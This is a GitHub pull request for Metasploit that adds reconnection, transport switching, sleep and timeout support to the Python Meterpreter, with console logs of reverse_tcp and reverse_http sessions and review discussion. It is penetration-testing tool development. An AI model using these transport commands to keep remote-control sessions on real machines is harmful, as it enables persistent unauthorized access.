Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Python Meterpreter Transport #5654

Merged
merged 120 commits into from
Jul 22, 2015
Merged

Python Meterpreter Transport #5654

merged 120 commits into from
Jul 22, 2015

Conversation

zeroSteiner
Copy link
Contributor

Overview

This adds support to the Python meterpreter for the new transport features.
The main transport features include:

  • Reconnecting on error and automatic transport changing (when multiple are configured)
  • Hot swapping
  • sleep command support
  • Timeout configuration support
  • All four transports supported (bind_tcp, reverse_http, reverse_https, reverse_tcp)
  • A proxy can be used but it must be HTTP not SOCKS and can not use authentication

Demonstrations:

msf (S:0 J:3) > jobs -v

Jobs
====

  Id  Name                    Payload                          LPORT  URIPATH  Start Time
  --  ----                    -------                          -----  -------  ----------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp   4444            2015-07-02 08:50:56 -0400
  1   Exploit: multi/handler  python/meterpreter/reverse_tcp   5555            2015-07-02 08:50:57 -0400
  2   Exploit: multi/handler  python/meterpreter/reverse_http  8888            2015-07-02 08:50:57 -0400

msf (S:0 J:3) > 
[*] [2015.07.02-11:56:57] Sending stage (36554 bytes) to 192.168.90.1
[*] Meterpreter session 18 opened (192.168.90.1:4444 -> 192.168.90.1:55856) at 2015-07-02 11:56:57 -0400

msf (S:1 J:3) > sessions -i -1
[*] Starting interaction with 18...

meterpreter > transport list
Session Expiry  : @ 2015-07-09 11:56:57

    Curr  URL                      Comms T/O  Retry Total  Retry Wait
    ----  ---                      ---------  -----------  ----------
    *     tcp://192.168.90.1:4444  300        3600         10

meterpreter > transport change -t reverse_http -l 192.168.90.1 -p 8888
[*] Changing to new transport ...
[+] Successfully added reverse_http transport, killing current session.

[*] 192.168.90.1 - Meterpreter session 18 closed.  Reason: User exit

[*] [2015.07.02-11:57:25] 192.168.90.1:59771 (UUID: 396e5b85bebf8877/python=20/python=21/2015-07-02T15:56:57Z) Attaching orphaned/stageless session ...
msf (S:0 J:3) > [*] Meterpreter session 19 opened (192.168.90.1:8888 -> 192.168.90.1:59771) at 2015-07-02 11:57:25 -0400

msf (S:1 J:3) > sessions -v

Active sessions
===============

  Session ID: 19
        Type: meterpreter python/python
        Info: steiner @ localhost.localdomain
      Tunnel: 192.168.90.1:8888 -> 192.168.90.1:59771 (192.168.90.1)
         Via: exploit/multi/handler
        UUID: 396e5b85bebf8877/python=20/python=21/2015-07-02T15:56:57Z
   MachineID: 96f995928ad39c2199c7ea448c4e3adb
     CheckIn: 1s ago @ 2015-07-02 11:57:28 -0400
  Registered: No



msf (S:1 J:3) > sessions -i -1
[*] Starting interaction with 19...

meterpreter > transport list
Session Expiry  : @ 2015-07-09 11:56:57

    Curr  URL                                                           Comms T/O  Retry Total  Retry Wait
    ----  ---                                                           ---------  -----------  ----------
    *     http://192.168.90.1:8888/OW5bhb6_iHe3UaJF4sToGAEjmiH6hlaLQp/  300        3600         10
          tcp://192.168.90.1:4444                                       300        3600         10

meterpreter > sleep 15
[*] Telling the target instance to sleep for 15 seconds ...
[+] Target instance has gone to sleep, terminating current session.

[*] 192.168.90.1 - Meterpreter session 19 closed.  Reason: User exit
msf (S:0 J:3) > 
[*] [2015.07.02-11:58:08] 192.168.90.1:59823 (UUID: 396e5b85bebf8877/python=20/python=21/2015-07-02T15:56:57Z) Attaching orphaned/stageless session ...
[*] Meterpreter session 20 opened (192.168.90.1:8888 -> 192.168.90.1:59823) at 2015-07-02 11:58:08 -0400

Verification Steps:

  • transport command is available
  • transport list shows the available transports (always at least one)
  • transport add can add a new transport to the list
  • transport remove can remove an existing transport (but never the current one)
  • transport next and transport prev change to new transports (only if more than one is set)
  • transport change will add and then immediately change to the new transport
  • sleep works as expected
  • get_timeouts and set_timeouts can be used to read and change the timeouts
  • Resiliency works when a session is open and msf exits with exit -y

CC and my thanks to @OJ for all the help on this.

Tested with Python 2.5-2-7 and 3.1-3.4.

@OJ
Copy link
Contributor

OJ commented Jul 10, 2015

We also have a small issue with using transport prev:

meterpreter > transport list
Session Expiry  : @ 2015-07-17 16:38:35

    Curr  URL                                                  Comms T/O  Retry Total  Retry Wait
    ----  ---                                                  ---------  -----------  ----------
    *     http://10.1.10.40:5000/j6dtUu31uIZrYH50Pv8DCwX-G7-/  300        3600         10
          tcp://10.1.10.40:3000                                300        3600         10
          tcp://10.1.10.40:4000                                300        3600         10

meterpreter > transport remove -t reverse_tcp -l 10.1.10.40 -p 3000
[*] Removing transport ...
[+] Successfully removed reverse_tcp transport.
meterpreter > transport list
Session Expiry  : @ 2015-07-17 16:38:35

    Curr  URL                                                  Comms T/O  Retry Total  Retry Wait
    ----  ---                                                  ---------  -----------  ----------
    *     http://10.1.10.40:5000/j6dtUu31uIZrYH50Pv8DCwX-G7-/  300        3600         10
          tcp://10.1.10.40:4000                                300        3600         10

meterpreter > transport prev
[*] Changing to previous transport ...
[-] core_transport_prev: Operation failed: Unknown error

@OJ
Copy link
Contributor

OJ commented Jul 10, 2015

The transport resiliency feature doesn't appear to function either. If I have a reverse_tcp session, kill off MSF, and restart it, then the session doesn't reconnect on the current or the next transport. @zeroSteiner was that intended to be part of this PR as well?

@OJ
Copy link
Contributor

OJ commented Jul 10, 2015

The rest of the stuff works nicely... including sleep, setting timeouts, etc. The only things that don't currently behave exactly are:

  • Resiliency / transport switch over
  • The transport prev command
  • Adding transports adds to a different part of the transport list.

Nice job @zeroSteiner ! Thanks so much for the effort you put into this.

@zeroSteiner
Copy link
Contributor Author

@OJ yup I'll take a look at fixing all of those things. Thanks for testing.

@zeroSteiner
Copy link
Contributor Author

@OJ the resiliency should be working but for TCP transports, I know it has to time out first which by default takes over 5 minutes (from the communication timeout). I'm assuming this is incorrect behavior. Can you confirm that resiliency is working for the HTTP transports though as it should be working for them as well?

@OJ
Copy link
Contributor

OJ commented Jul 11, 2015

@zeroSteiner when the connection dies, the "next" transport should take over. If that transport is the only transport, then that's the one that attempts to reconnect. In that case, it should attempt to connect every retry_wait seconds, for a total of retry_total seconds. So with the default settings of 10 and 3600, that means "try every 10 seconds for the next hour".

The comms_timeout doesn't come into play until there is an active connection. This is to do with successful receipt of packets.

@zeroSteiner
Copy link
Contributor Author

@OJ I guess my question was more when the connection dies or is closed it sounds like the next transport should be tried immediately instead of continuing to try and read a packet until the communication timeout expires.

I'll rework it to try the next transport immediately when the socket is closed.

@OJ
Copy link
Contributor

OJ commented Jul 11, 2015

immediately instead of continuing to try and read a packet until the communication timeout expires.

Communication timeout doesn't get used until after a new session is established. Until that happens, only the retry wait/total are used. If a connection is successful, then retry total/wait are abandoned and that's when the comms timeout kicks in.

It's a bit confusing and makes more sense in the HTTP/S world too. So the retries are all about connect(), and the comms timeout is all about successful TLV packet reads.

@zeroSteiner
Copy link
Contributor Author

@OJ all three of the issues should be resolved now.

@OJ
Copy link
Contributor

OJ commented Jul 14, 2015

Thanks @zeroSteiner ! I'll take another look today. Awesome work.

@OJ
Copy link
Contributor

OJ commented Jul 15, 2015

We still have an issue with addition of transports:

meterpreter > transport list
Session Expiry  : @ 2015-07-23 08:32:23

    Curr  URL                    Comms T/O  Retry Total  Retry Wait
    ----  ---                    ---------  -----------  ----------
    *     tcp://10.1.10.40:3000  300        3600         10

meterpreter > transport add -l 10.1.10.40 -p 4000 -t reverse_tcp
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
meterpreter > transport list
Session Expiry  : @ 2015-07-23 08:32:24

    Curr  URL                    Comms T/O  Retry Total  Retry Wait
    ----  ---                    ---------  -----------  ----------
    *     tcp://10.1.10.40:3000  300        3600         10
          tcp://10.1.10.40:4000  300        3600         10

meterpreter > transport add -l 10.1.10.40 -p 5000 -t reverse_http
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
meterpreter > transport list
Session Expiry  : @ 2015-07-23 08:32:23

    Curr  URL                                                                                                                                                      Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                      ---------  -----------  ----------
    *     tcp://10.1.10.40:3000                                                                                                                                    300        3600         10
          http://10.1.10.40:5000/QDJL72kxOOeXuIKswh5IzwzOQred8F1Cd9XA8tynEZCYo6lTKnTXiB696fT6kUrlvP5FI46g_Ey0gD9vt2DRXJ3AbStk901Yr44kioZBy1aickK_EyhH-jNhhFBsZri/  300        3600         10
          tcp://10.1.10.40:4000                                                                                                                                    300        3600         10

So the implementation inside the other meterpreters is a circular linked list of transports, and the new transport is always added to the end of the circular list. If this was implemented as a typical python list, then the transport should be inserted into the list immediately before the current index, except when the transport is the first element in the list, at which point it is inserted at the end of the list.

In the above example, that HTTP transport should still have appeared at the end of the list.

Does that make sense? I don't think I explained it very well.

@OJ
Copy link
Contributor

OJ commented Jul 15, 2015

Removal and transport switching work really nicely now. It's just the addition left to go!

@zeroSteiner
Copy link
Contributor Author

Yup that makes sense and it's an easy enough fix, I'll get on it now. Thanks @OJ!

@OJ
Copy link
Contributor

OJ commented Jul 15, 2015

Transport resiliency works nicely with HTTP, but the TCP stuff still doesn't reconnect as expected. When TCP is disconnected, it should begin polling immediately but that doesn't seem to happen.

@OJ
Copy link
Contributor

OJ commented Jul 15, 2015

Thanks @zeroSteiner ! Sorry for the churn here mate. We're so close!

@OJ
Copy link
Contributor

OJ commented Jul 15, 2015

And sleep is great now too!

@OJ
Copy link
Contributor

OJ commented Jul 16, 2015

Nice @zeroSteiner, the transport addition stuff works perfectly now.

@zeroSteiner
Copy link
Contributor Author

@OJ Alright so the http transports now use an incremental back off when receiving empty packets modeled after the logic here.

Additionally the transports can now request that they be changed which allows the specific implementations to detect their unique error conditions. This is used to allow the TCP transport to request that a new transport be used when it's read-ready and returns an empty string (which is the case when the remote socket has been closed from msfconsole using exit -y). The next transport will then immediately be tried instead of waiting for the communication timeout period.

Hopefully the behavior should now be identical to the other meterpreters 🙏. Thanks for your patience on this.

@OJ
Copy link
Contributor

OJ commented Jul 19, 2015

@zeroSteiner thanks mate, will look again today!

@OJ OJ merged commit 010e489 into rapid7:master Jul 22, 2015
OJ added a commit that referenced this pull request Jul 22, 2015
@OJ
Copy link
Contributor

OJ commented Jul 22, 2015

Great work, thanks @zeroSteiner ! Works like a charm now.

@bcook-r7 can you please work your magic with merging this into metasploit-payloads? We should be able to move there permanently now.

@bcook-r7
Copy link
Contributor

Oh sure, I can do the magic. I'll also remove the python / php exception that prevents these from loading from the gem.

@zeroSteiner zeroSteiner deleted the pymet-trans branch July 4, 2020 17:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

10 participants